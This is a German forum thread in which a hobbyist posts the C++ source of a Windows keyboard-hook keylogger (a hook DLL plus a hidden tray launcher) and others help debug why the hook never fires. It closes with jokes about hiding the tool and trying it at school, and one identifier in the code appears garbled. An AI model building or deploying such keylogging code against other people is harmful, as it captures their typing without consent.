4. Hook wird nicht aufgerufen

Hook wird nicht aufgerufen

  • D

    hallo Leute,

    ich progge jetzt schon seit 3 Jahren mit C++ und habe auch schon recht viel Erfahrung mit WinAPI, COM, DX usw. gesammelt.
    naja, hier im Forum lese ich jetzt immer öfter was von Hooks^^

    also hab ich mir gedacht, zum Spaß bastelste dir jetzt mal einen Keylogger.
    ich habe jetzt eine DLL mit der Hook-Funktion und ein Programm, welches den Hook installiert.
    Das Programm legt ein Tray-Icon an, über das man es beenden kann.
    Beim Beenden wird dann auch der Hook wieder entfernt.

    ich verwende bei dem Hook SetWindowsHookEx und UnhookWindowsHookEx.
    als Typ habe ich WH_KEYBOARD.

    auf jeden Fall gibt mir SetWindowsHookEx ein gültiges Handle zurück,
    was ja eigentlich schön ist^^

    nur leider kann ich auf die Tastatur hämmern wie ich will, meine Hook-Funktion wird nicht einmal aufgerufen!

    der einzige Grund dafür, der mir einfällt, wäre, dass ein anderes Programm bereits einen Keyboard-Hook installiert hat
    und NICHT CallNextHookEx aufruft...

    Das würde allerdings heißen, dass ich alle Programme beenden müsste, die dafür in Frage kämen, wobei ich mir nicht
    bewusst bin, welches dafür verantwortlich sein könnte.

    Deshalb wollte ich mal fragen, ob es vllt noch andere Gründe geben kann,
    warum mein Hook nie aufgerufen wird.

    schonmal danke im voraus.

    MfG DrakoXP

    0
  • S

    noch einer 🙄
    hast du dir das bsp. im FAQ vom WinApi Forum mal angeschaut?

    schirrmie?

    0
  • D

    sry, hab ich nicht,

    ich habe mich an die MSDN gehalten,
    denn man sollte ja meinen, dass der Entwickler einer API auch weiß, wie diese funktioniert 😉

    ...

    ich hab mir deinen Thread da mal angeguckt und
    im Prinzip hab ich es genauso gemacht,
    nur dass eben SetWindowsHookEX und UnhookWindowHookEx nicht in der DLL sind,
    sondern im Programm.

    ansonsten hab ich das auch so.

    außerdem habe ich ja bereits geschrieben, dass SetWindowsHookEX ein gültiges Handle zurückgibt,
    also kann es ja gar nicht so falsch sein (ich weiß, dummer Satz, aber egal)

    nein ehrlich, ich kann absolut nichts in dem Code finden, was irgendwie Fehlerhaft wäre.

    Im Debugger läuft es perfekt (abgesehen davon, dass die HookProc nie aufgerufen wird).
    Naja, ohne Debugger läuft es genauso.

    Die Key-Logfiles sind folglich am Ende auch immer leer.

    0
  • B

    Zeig doch mal, wie du den Hook aufsetzt. Also ein bissl Code, Fehler liegen doch häufig am Programmierer 😉

    0
  • D

    also, die DLL:

    ach ja, bitte keine dummen Bemerkungen, was den Stil angeht...
    nach 3 Jahren C++ weiß ich, dass nicht alles an dem Code lupenrein ist,
    aber es ist an sich ja auch nur ein Testprogramm und da achte ich nicht so drauf.
    also nur was sagen, wenn es mir bei der Lösung des Problems hilft!

    #pragma comment(lib, "strsafe.lib")

#include <windows.h>
#include <tchar.h>
#include <strsafe.h>

#pragma data_seg("shared")
HANDLE g_hFile = INVALID_HANDLE_VALUE;
HHOOK g_hHook = NULL;
#pragma data_seg()

#pragma comment(linker, "/SECTION:shared,RWS")

#define PROCESS_KEY(target,keycode) case keycode: StringCchCat(target, sizeof(target), TEXT( #keycode )); break
extern "C" {
__declspec(dllexport) HANDLE SetFileHandle(HANDLE hNew)
{
	HANDLE hOld = g_hFile;
	g_hFile = hNew;
	return hOld;
}

__declspec(dllexport) HHOOK SetHookHandle(HHOOK hNew)
{
	HHOOK hOld = g_hHook;
	g_hHook = hNew;
	return hOld;
}

__declspec(dllexport) LRESULT CALLBACK KeyBoardHook(int nCode, WPARAM wParam, LPARAM lParam)
{
	if (nCode < 0)
		return CallNextHookEx(g_hHook, nCode, wParam, lParam);
	if (g_hFile != INVALID_HANDLE_VALUE)
	{
		TCHAR szOutput[64];
		SYSTEMTIME now = { 0 };
		GetLocalTime(&now);
		StringCchPrintf(szOutput, sizeof(szOutput), TEXT("[%d.%d.%d %d:%d:%d "), now.wDay, now.wMonth, now.wYear, now.wHour, now.wMinute, now.wSecond);
		switch (wParam)
		{
			PROCESS_KEY(szOutput, VK_BACK);
			PROCESS_KEY(szOutput, VK_TAB);
			PROCESS_KEY(szOutput, VK_CLEAR);
			PROCESS_KEY(szOutput, VK_RETURN);
			PROCESS_KEY(szOutput, VK_SHIFT);
			PROCESS_KEY(szOutput, VK_CONTROL);
			PROCESS_KEY(szOutput, VK_MENU);
			PROCESS_KEY(szOutput, VK_CAPITAL);
			PROCESS_KEY(szOutput, VK_ESCAPE);
			PROCESS_KEY(szOutput, VK_SPACE);
			PROCESS_KEY(szOutput, VK_PRIOR);
			PROCESS_KEY(szOutput, VK_NEXT);
			PROCESS_KEY(szOutput, VK_END);
			PROCESS_KEY(szOutput, VK_HOME);
			PROCESS_KEY(szOutput, VK_LEFT);
			PROCESS_KEY(szOutput, VK_UP);
			PROCESS_KEY(szOutput, VK_RIGHT);
			PROCESS_KEY(szOutput, VK_DOWN);
			PROCESS_KEY(szOutput, VK_SELECT);
			PROCESS_KEY(szOutput, VK_PRINT);
			PROCESS_KEY(szOutput, VK_EXECUTE);
			PROCESS_KEY(szOutput, VK_SNAPSHOT);
			PROCESS_KEY(szOutput, VK_INSERT);
			PROCESS_KEY(szOutput, VK_DELETE);
			PROCESS_KEY(szOutput, VK_HELP);
		case '0': StringCchCat(szOutput, sizeof(szOutput), TEXT("{ 0 }")); break;
		case '1': StringCchCat(szOutput, sizeof(szOutput), TEXT("{ 1 }")); break;
		case '2': StringCchCat(szOutput, sizeof(szOutput), TEXT("{ 2 }")); break;
		case '3': StringCchCat(szOutput, sizeof(szOutput), TEXT("{ 3 }")); break;
		case '4': StringCchCat(szOutput, sizeof(szOutput), TEXT("{ 4 }")); break;
		case '5': StringCchCat(szOutput, sizeof(szOutput), TEXT("{ 5 }")); break;
		case '6': StringCchCat(szOutput, sizeof(szOutput), TEXT("{ 6 }")); break;
		case '7': StringCchCat(szOutput, sizeof(szOutput), TEXT("{ 7 }")); break;
		case '8': StringCchCat(szOutput, sizeof(szOutput), TEXT("{ 8 }")); break;
		case '9': StringCchCat(szOutput, sizeof(szOutput), TEXT("{ 9 }")); break;
		case 'A': StringCchCat(szOutput, sizeof(szOutput), TEXT("{ A }")); break;
		case 'B': StringCchCat(szOutput, sizeof(szOutput), TEXT("{ B }")); break;
		case 'C': StringCchCat(szOutput, sizeof(szOutput), TEXT("{ C }")); break;
		case 'D': StringCchCat(szOutput, sizeof(szOutput), TEXT("{ D }")); break;
		case 'E': StringCchCat(szOutput, sizeof(szOutput), TEXT("{ E }")); break;
		case 'F': StringCchCat(szOutput, sizeof(szOutput), TEXT("{ F }")); break;
		case 'G': StringCchCat(szOutput, sizeof(szOutput), TEXT("{ G }")); break;
		case 'H': StringCchCat(szOutput, sizeof(szOutput), TEXT("{ H }")); break;
		case 'I': StringCchCat(szOutput, sizeof(szOutput), TEXT("{ I }")); break;
		case 'J': StringCchCat(szOutput, sizeof(szOutput), TEXT("{ J }")); break;
		case 'K': StringCchCat(szOutput, sizeof(szOutput), TEXT("{ K }")); break;
		case 'L': StringCchCat(szOutput, sizeof(szOutput), TEXT("{ L }")); break;
		case 'M': StringCchCat(szOutput, sizeof(szOutput), TEXT("{ M }")); break;
		case 'N': StringCchCat(szOutput, sizeof(szOutput), TEXT("{ N }")); break;
		case 'O': StringCchCat(szOutput, sizeof(szOutput), TEXT("{ O }")); break;
		case 'P': StringCchCat(szOutput, sizeof(szOutput), TEXT("{ P }")); break;
		case 'Q': StringCchCat(szOutput, sizeof(szOutput), TEXT("{ Q }")); break;
		case 'R': StringCchCat(szOutput, sizeof(szOutput), TEXT("{ R }")); break;
		case 'S': StringCchCat(szOutput, sizeof(szOutput), TEXT("{ S }")); break;
		case 'T': StringCchCat(szOutput, sizeof(szOutput), TEXT("{ T }")); break;
		case 'U': StringCchCat(szOutput, sizeof(szOutput), TEXT("{ U }")); break;
		case 'V': StringCchCat(szOutput, sizeof(szOutput), TEXT("{ V }")); break;
		case 'W': StringCchCat(szOutput, sizeof(szOutput), TEXT("{ W }")); break;
		case 'X': StringCchCat(szOutput, sizeof(szOutput), TEXT("{ X }")); break;
		case 'Y': StringCchCat(szOutput, sizeof(szOutput), TEXT("{ Y }")); break;
		case 'Z': StringCchCat(szOutput, sizeof(szOutput), TEXT("{ Z }")); break;
			PROCESS_KEY(szOutput, VK_LWIN);
			PROCESS_KEY(szOutput, VK_RWIN);
			PROCESS_KEY(szOutput, VK_APPS);
			PROCESS_KEY(szOutput, VK_NUMPAD0);
			PROCESS_KEY(szOutput, VK_NUMPAD1);
			PROCESS_KEY(szOutput, VK_NUMPAD2);
			PROCESS_KEY(szOutput, VK_NUMPAD3);
			PROCESS_KEY(szOutput, VK_NUMPAD4);
			PROCESS_KEY(szOutput, VK_NUMPAD5);
			PROCESS_KEY(szOutput, VK_NUMPAD6);
			PROCESS_KEY(szOutput, VK_NUMPAD7);
			PROCESS_KEY(szOutput, VK_NUMPAD8);
			PROCESS_KEY(szOutput, VK_NUMPAD9);
			PROCESS_KEY(szOutput, VK_MULTIPLY);
			PROCESS_KEY(szOutput, VK_ADD);
			PROCESS_KEY(szOutput, VK_SEPARATOR);
			PROCESS_KEY(szOutput, VK_SUBTRACT);
			PROCESS_KEY(szOutput, VK_DECIMAL);
			PROCESS_KEY(szOutput, VK_DIVIDE);
			PROCESS_KEY(szOutput, VK_F1);
			PROCESS_KEY(szOutput, VK_F2);
			PROCESS_KEY(szOutput, VK_F3);
			PROCESS_KEY(szOutput, VK_F4);
			PROCESS_KEY(szOutput, VK_F5);
			PROCESS_KEY(szOutput, VK_F6);
			PROCESS_KEY(szOutput, VK_F7);
			PROCESS_KEY(szOutput, VK_F8);
			PROCESS_KEY(szOutput, VK_F9);
			PROCESS_KEY(szOutput, VK_F10);
			PROCESS_KEY(szOutput, VK_F11);
			PROCESS_KEY(szOutput, VK_F12);
			PROCESS_KEY(szOutput, VK_NUMLOCK);
		default:
			return CallNextHookEx(g_hHook, nCode, wParam, lParam);
		}
		if (lParam & (1 << 31))
			StringCchCat(szOutput, sizeof(szOutput), TEXT(" DOWN]\n"));
		else
			StringCchCat(szOutput, sizeof(szOutput), TEXT(" UP]\n"));
		DWORD dwLength = 0, dwWritten = 0;
		StringCchLength(szOutput, sizeof(szOutput), reinterpret_cast<size_t*>(&dwLength));
		WriteFile(g_hFile, (LPCVOID)szOutput, dwLength, &dwWritten, NULL);	
	}
	return CallNextHookEx(g_hHook, nCode, wParam, lParam);
}
}
BOOL WINAPI DllMain(HINSTANCE hInstance, DWORD dwReason, LPVOID pReserved)
{
	return TRUE;
}

    so, und hier das Programm:

    #if defined _M_IX86 
#pragma comment(linker,"/manifestdependency:\"type='win32' name='Microsoft.Windows.Common-Controls' version='6.0.0.0' processorArchitecture='x86' publicKeyToken='6595b64144ccf1df' language='*'\"") 
#elif defined _M_IA64 
#pragma comment(linker,"/manifestdependency:\"type='win32' name='Microsoft.Windows.Common-Controls' version='6.0.0.0' processorArchitecture='ia64' publicKeyToken='6595b64144ccf1df' language='*'\"") 
#elif defined _M_X64 
#pragma comment(linker,"/manifestdependency:\"type='win32' name='Microsoft.Windows.Common-Controls' version='6.0.0.0' processorArchitecture='amd64' publicKeyToken='6595b64144ccf1df' language='*'\"") 
#else 
#pragma comment(linker,"/manifestdependency:\"type='win32' name='Microsoft.Windows.Common-Controls' version='6.0.0.0' processorArchitecture='*' publicKeyToken='6595b64144ccf1df' language='*'\"") 
#endif

#pragma comment(lib, "comctl32.lib")
#pragma comment(lib, "strsafe.lib")

#include <windows.h>
#include <commctrl.h>
#include <tchar.h>
#include <strsafe.h>

#include "resource.h"

const TCHAR szClassName[] = TEXT("KeyLoggerMainWindow");
const TCHAR szWindowText[] = TEXT("CTKeyLogger Version 1.0 von Felix Bytow");

#define ID_TRAYICON 500
#define WM_TRAYICON (WM_USER+1)

BOOL WINAPI AboutProc(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam)
{
	switch (msg)
	{
	case WM_COMMAND:
		{
			switch (LOWORD(wParam))
			{
			case IDOK:
				{
					SendMessage(hWnd, WM_CLOSE, 0, 0);
					return TRUE;
				} break;
			}
		} break;
	case WM_CLOSE:
		{
			DestroyWindow(hWnd);
			return TRUE;
		} break;
	case WM_DESTROY:
		{
			EndDialog(hWnd, 0);
			return TRUE;
		} break;
	}
	return FALSE;
}

typedef HANDLE (*SETFILEHANDLE)(HANDLE);
typedef HHOOK (*SETHOOKHANDLE)(HHOOK);

LRESULT CALLBACK WndProc(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam)
{
	static NOTIFYICONDATA nid = { 0 };
	static HMODULE hKeyBHook = NULL;
	static HOOKPROC pfnHookProc = NULL;
	static HHOOK hHook = NULL;
	static SYSTEMTIME g_stStart = { 0 };
	static SETFILEHANDLE SetFileHandle = NULL;
	static SETHOOKHANDLE SetHookHandle = NULL;
	static HANDLE g_hFile = INVALID_HANDLE_VALUE;
	switch (msg)
	{
	case WM_CREATE:
		{
			LPCREATESTRUCT pCS = reinterpret_cast<LPCREATESTRUCT>(lParam);
			hKeyBHook = LoadLibrary(TEXT("KeyBoardHook.dll"));
			if (!hKeyBHook)
				return -1;
			pfnHookProc = (HOOKPROC)GetProcAddress(hKeyBHook, "_KeyBoardHook@12");
			if (!pfnHookProc)
			{
				FreeLibrary(hKeyBHook);
				hKeyBHook = NULL;
				return -1;
			}
			SetFileHandle = (SETFILEHANDLE)GetProcAddress(hKeyBHook, "SetFileHandle");
			if (!SetFileHandle)
			{
				FreeLibrary(hKeyBHook);
				hKeyBHook = NULL;
				return -1;
			}
			SetHookHandle = (SETHOOKHANDLE)GetProcAddress(hKeyBHook, "SetHookHandle");
			if (!SetFileHandle)
			{
				FreeLibrary(hKeyBHook);
				hKeyBHook = NULL;
				return -1;
			}
			GetLocalTime(&g_stStart);
			TCHAR szLogFile[MAX_PATH];
			StringCchPrintf(szLogFile, sizeof(szLogFile), TEXT("%d_%d_%d %d_%d_%d.log"), g_stStart.wDay, g_stStart.wMonth, g_stStart.wYear, g_stStart.wHour, g_stStart.wMinute, g_stStart.wSecond);
			g_hFile = CreateFile(szLogFile, GENERIC_WRITE, 0, NULL, CREATE_NEW, FILE_ATTRIBUTE_NORMAL, NULL);
			if (g_hFile == INVALID_HANDLE_VALUE)
			{
				FreeLibrary(hKeyBHook);
				hKeyBHook = NULL;
				return -1;
			}
			SetFileHandle(g_hFile);
			SetHookHandle(hHook = SetWindowsHookEx(WH_KEYBOARD, pfnHookProc, hKeyBHook, GetCurrentThreadId()));
			if (!hHook)
			{
				FreeLibrary(hKeyBHook);
				hKeyBHook = NULL;
				CloseHandle(g_hFile);
				DeleteFile(szLogFile);
				return -1;
			}
			nid.cbSize = NOTIFYICONDATA_V1_SIZE;
			nid.dwInfoFlags = NIIF_INFO|NIIF_LARGE_ICON;
			nid.dwState = 0;
			nid.dwStateMask = 0;
			nid.hBalloonIcon = NULL;
			nid.hIcon = LoadIcon(pCS->hInstance, MAKEINTRESOURCE(IDI_KEYBOARD));
			nid.hWnd = hWnd;
			nid.szInfo[0] = _T('\0');
			nid.szInfoTitle[0] = _T('\0');
			StringCchPrintf(nid.szTip, sizeof(nid.szTip), szWindowText);
			nid.uCallbackMessage = WM_TRAYICON;
			nid.uFlags = NIF_ICON|NIF_MESSAGE|NIF_TIP;
			nid.uID = ID_TRAYICON;
			nid.uTimeout = 10000;
			nid.uVersion = NOTIFYICON_VERSION;
			Shell_NotifyIcon(NIM_ADD, &nid);
			return 0;
		} break;
	case WM_CLOSE:
		{
			DestroyWindow(hWnd);
			return 0;
		} break;
	case WM_DESTROY:
		{
			if (hHook)
				UnhookWindowsHookEx(hHook);
			if (g_hFile != INVALID_HANDLE_VALUE)
			{
				CloseHandle(g_hFile);
				TCHAR szLogFileOld[MAX_PATH];
				StringCchPrintf(szLogFileOld, sizeof(szLogFileOld), TEXT("%d_%d_%d %d_%d_%d.log"), g_stStart.wDay, g_stStart.wMonth, g_stStart.wYear, g_stStart.wHour, g_stStart.wMinute, g_stStart.wSecond);
				TCHAR szLogFileNew[MAX_PATH];
				SYSTEMTIME now = { 0 };
				GetLocalTime(&now);
				StringCchPrintf(szLogFileNew, sizeof(szLogFileNew), TEXT("%d_%d_%d %d_%d_%d - %d_%d_%d %d_%d_%d.log"), g_stStart.wDay, g_stStart.wMonth, g_stStart.wYear, g_stStart.wHour, g_stStart.wMinute, g_stStart.wSecond, now.wDay, now.wMonth, now.wYear, now.wHour, now.wMinute, now.wSecond);
				MoveFileEx(szLogFileOld, szLogFileNew, MOVEFILE_REPLACE_EXISTING|MOVEFILE_COPY_ALLOWED|MOVEFILE_WRITE_THROUGH);
			}
			Shell_NotifyIcon(NIM_DELETE, &nid);
			if (hKeyBHook)
				FreeLibrary(hKeyBHook);
			PostQuitMessage(0);
			return 0;
		} break;
	case WM_TRAYICON:
		{
			if (lParam == WM_RBUTTONDOWN)
			{
				SetForegroundWindow(hWnd);
				HMENU hTrayMenu = LoadMenu((HINSTANCE)GetWindowLongPtr(hWnd, GWLP_HINSTANCE), MAKEINTRESOURCE(IDR_TRAYMENU));
				HMENU hPopupMenu = GetSubMenu(hTrayMenu, 0);
				POINT CursorPos = { 0 };
				GetCursorPos(&CursorPos);
				UINT cmd = TrackPopupMenu(hPopupMenu, TPM_LEFTBUTTON|TPM_RETURNCMD|TPM_NONOTIFY, CursorPos.x, CursorPos.y, 0, hWnd, NULL);
				switch (cmd)
				{
				case ID_MENUE_EXIT:
					{
						SendMessage(hWnd, WM_CLOSE, 0, 0);
					} break;
				case ID_MENUE_\1:
					{
						DialogBox((HINSTANCE)GetWindowLongPtr(hWnd, GWLP_HINSTANCE), MAKEINTRESOURCE(IDD_ABOUT), NULL, AboutProc);
					} break;
				}
			}
			return 0;
		} break;
	}
	return DefWindowProc(hWnd, msg, wParam, lParam);
}

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR szCmdLine, int iCmdShow)
{
	InitCommonControls();
	WNDCLASSEX wce;
	wce.cbClsExtra = 0;
	wce.cbSize = sizeof(WNDCLASSEX);
	wce.cbWndExtra = 0;
	wce.hbrBackground = GetSysColorBrush(COLOR_BTNFACE);
	wce.hCursor = LoadCursor(NULL, IDC_ARROW);
	wce.hIcon = wce.hIconSm = LoadIcon(hInstance, MAKEINTRESOURCE(IDI_KEYBOARD));
	wce.hInstance = hInstance;
	wce.lpfnWndProc = WndProc;
	wce.lpszClassName = szClassName;
	wce.lpszMenuName = NULL;
	wce.style = CS_VREDRAW|CS_HREDRAW;
	RegisterClassEx(&wce);
	HWND hWnd = CreateWindowEx(0, szClassName, szWindowText, WS_POPUP, 0, 0, 10, 10, NULL, NULL, hInstance, NULL);
	ShowWindow(hWnd, SW_HIDE);
	UpdateWindow(hWnd);
	MSG msg;
	while (GetMessage(&msg, NULL, 0, 0))
	{
		TranslateMessage(&msg);
		DispatchMessage(&msg);
	}
	return static_cast<int>(msg.wParam);
}
    0
  • B

    Der letzte Parameter von SetWindowsHookEx sollte NULL sein, damit auch global die Tasten abgefangen werden. Und sicher, dass das mit dem Export so klappt? Normalerweise sollte man keine kryptischen Namen wie "_KeyBoardHook@12" verwenden müssen.

    Wenn's trotzdem nicht klappen sollte, kannst du ja mal versuchen, ohne den Handle-Krams in die Datei zu schreiben, vielleicht hat die DLL keine Rechte dafür (hab ich noch nie probiert, jemand anders wird mehr wissen).

    0
  • D

    omfg -.-

    also ok, zu dem Parameter NULL,
    ich hatte ihn erst auf NULL, und es ging genausowenig...

    und was das mit dem kryptischen Namen angeht:
    wenn du meine SetWindowsHookEx funktioniert...
    kann es dann falsch sein???

    außerdem guck dir den DLL-Code an.
    ich kompilier das und in der DLL entsteht eine Funktion _KeyBoardHook@12
    tut mir ja Leid, ist aber so.
    hätte ich bei GetProcAddress nur KeyBoardHook geschrieben, wäre NULL dabei rausgekommen.
    das hab ich schon getestet!

    den richtigen Namen _KeyBoardHook@12 hab ich über dllexp rausgefunden und
    letzten Endes funktioniert das Laden ja auch.
    wie gesagt: es gibt nirgendwo Fehler!

    und dann möchte ich nochmal auf meine anfängliche Frage verweisen, denn an der scheinen alle einfach vorbeizulesen -.-

    0
  • B

    DrakoXP schrieb:

    omfg -.-

    Wenn du keine Hilfe willst, sag's einfach.

    DrakoXP schrieb:

    also ok, zu dem Parameter NULL,
    ich hatte ihn erst auf NULL, und es ging genausowenig...

    http://msdn2.microsoft.com/en-us/library/ms644990(VS.85).aspx

    DrakXP schrieb:

    und dann möchte ich nochmal auf meine anfängliche Frage verweisen, denn an der scheinen alle einfach vorbeizulesen -.-

    Welche Frage? Die einzigen Fragezeichen, die du bis jetzt gesetzt hast, waren in eben deinem Post.

    Badestrand schrieb:

    Wenn's trotzdem nicht klappen sollte, kannst du ja mal versuchen, ohne den Handle-Krams in die Datei zu schreiben, vielleicht hat die DLL keine Rechte dafür [für das Handle]

    Schon probiert? Weißt du was ich meine?

    0
  • D

    ähm, dass du mich zu SetWindowsHookEx verweist ist nicht sonderlich dienlich -.-

    wie bereits geschrieben habe ich mein Wissen aus der MSDN und wie bereits geschrieben
    hatte ich ursprünglich NULL verwendet und wie bereits geschrieben funktionierte es auch nicht.

    und meine Frage war:

    nur leider kann ich auf die Tastatur hämmern wie ich will, meine Hook-Funktion wird nicht einmal aufgerufen!

    der einzige Grund dafür, der mir einfällt, wäre, dass ein anderes Programm bereits einen Keyboard-Hook installiert hat
    und NICHT CallNextHookEx aufruft...

    Das würde allerdings heißen, dass ich alle Programme beenden müsste, die dafür in Frage kämen, wobei ich mir nicht
    bewusst bin, welches dafür verantwortlich sein könnte.

    Deshalb wollte ich mal fragen, ob es vllt noch andere Gründe geben kann,
    warum mein Hook nie aufgerufen wird.

    und nein, ich weiß nicht was du meinst,
    aber den HHOK Handle braucht man, weil man den Hook sonst weder Deinstalliern kann, noch kann man CallNextHookEx aufrufen.
    Und die DLL hat die Berechtigungen, was ja eig egal ist,
    da so lange die KeyBoardHook nicht aufgerufen wird ja ohnehin nicht darauf zugegriffen wird.

    0
  • ?

    DrakoXP schrieb:

    Die Key-Logfiles sind folglich am Ende auch immer leer.

    Ein Dateihandle ist im Kontext anderer Prozesse immer ungültig. Vielleicht liegts daran ?

    0
  • D

    das ist auch egal, da die KeyBoardHoock NIE NIE NIE aufgerufen wird,
    das heißt, ob das Handle gültig ist, oder nicht,
    spielt jetzt noch gar keine Rolle -.-

    0
  • B

    Auf die MSDN hab ich dich verwiesen, weil da wortwörtlich steht:

    Die MSDN schrieb:

    dwThreadId [in] Specifies the identifier of the thread with which the hook procedure is to be associated. If this parameter is zero, the hook procedure is associated with all existing threads running in the same desktop as the calling thread.

    Auf Deutsch: Ist der letzte Parameter von SetWindowsHookEx nicht NULL, wird deine Hook-Funktion nur für die Tastenanschläge aufgerufen, die eben dieser Thread empfängt. Wenn du deinen Thread angibst, bräuchtest du den Hook nicht, da du sowieso deine Tastatur-Ereignisse bekommst - nämlich die, die eventuell in dem Fenster getätigt werden würden, wenn es denn sichtbar wäre. Also: Mit GetCurrentThreadId() und einem unsichtbaren Fenster kann dein Hook gar keine Tastatur-Nachrichten bekommen.

    DrakoXP schrieb:

    und nein, ich weiß nicht was du meinst

    Gut, dann sag das doch 🙂
    Bei deinem Problem sehe ich zwei mögliche Fehlerquellen: Erstens dass der Hook nicht ordnungsgemäß systemweit etabliert wird, oder zweitens, dass trotz Aufruf des Hooks nichts in die Datei geschrieben wird. Deshalb mein Vorschlag: Pack eine MessageBox oder ungefähr sowas an den Anfang deiner Hook-Funktion:

    HANDLE file = CreateFile( "C:/Test.txt", GENERIC_WRITE, 0, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
LONG dummy;
SetFilePointer( file, 0, &dummy, FILE_END );
WriteFile( file, "I've been called\n", 17, &dummy, NULL );
CloseHandle( file );
    0
  • B

    DrakoXP schrieb:

    das ist auch egal, da die KeyBoardHoock NIE NIE NIE aufgerufen wird,
    das heißt, ob das Handle gültig ist, oder nicht,
    spielt jetzt noch gar keine Rolle -.-

    Vielleicht hab ich's überlesen, aber woher weißt du genau, dass die HookProc nie aufgerufen wird?

    0
  • D

    hm, schonmal was von einem Debugger gehört?
    da gibt es sowas wie -> run to cursor...

    und wenn ich den Cursor auf den Anfang des Hooks setze und das dann auswähle,
    so müsste ja, sobald ich eine Taste drücke, der Debugger dort halten.
    tut er aber nicht.

    somit kann ich also davon ausgehen, dass der Hook nicht aufgerufen wird,
    oder irre ich mich, und bei Hooks funzt ein Debugger einfach nicht?

    0
  • D

    hey, nichts für ungut xD

    also hab jetzt mit einer MessageBox überprüft, und die Hookfunktion WIRD aufgerufen.

    also muss ich jetzt gucken, wie ich das mit der Datei anstelle.

    die Frage is nur, warum macht der Debugger das nicht mit run to cursor?
    ich meine, der debugger schafft ja sogar threads und so, wieso also das nicht?

    0

  • DrakoXP schrieb:

    die Frage is nur, warum macht der Debugger das nicht mit run to cursor?
    ich meine, der debugger schafft ja sogar threads und so, wieso also das nicht?

    Weil Dein Prozess, der den Hook setzt auch nie an diese Stelle gelangt, sondern der gehookte. Dein Debugger ist nur an Deinen Prozess angehängt.

    greetz, Swordfish

    0
  • D

    aso ok, das erklärt einiges^^

    ok, also ich hab jetzt den KeyLogger zum laufen gebracht 😃

    endlich^^

    danke nochmal an alle, die geholfen haben 😉

    0

  • DrakoXP schrieb:

    ok, also ich hab jetzt den KeyLogger zum laufen gebracht 😃

    Hoffentlich versteckt er sich auch gut 😃 Aber da er ja sowieso quasi Open Source ist... :p

    greetz, Swordfish

    0
  • B

    DrakoXP schrieb:

    danke nochmal an alle, die geholfen haben 😉

    Das nächste mal aber bitte etwas freundlicher und mit etwas mehr Vertrauen...

    0
  • D

    sry^^

    aber es is auch nich gerade toll, wenn die erste Antwort lautet: "noch so einer..."

    naja, nichts für ungut.

    und was das verstecken angeht...
    ich will ja nichts böses damit tun, war ja nur eine Übung um den Umgang mit Hooks zu verstehen.

    obwohl ich den bestimmt mal in der Schule ausprobieren könnte xD

    0
Anmelden zum Antworten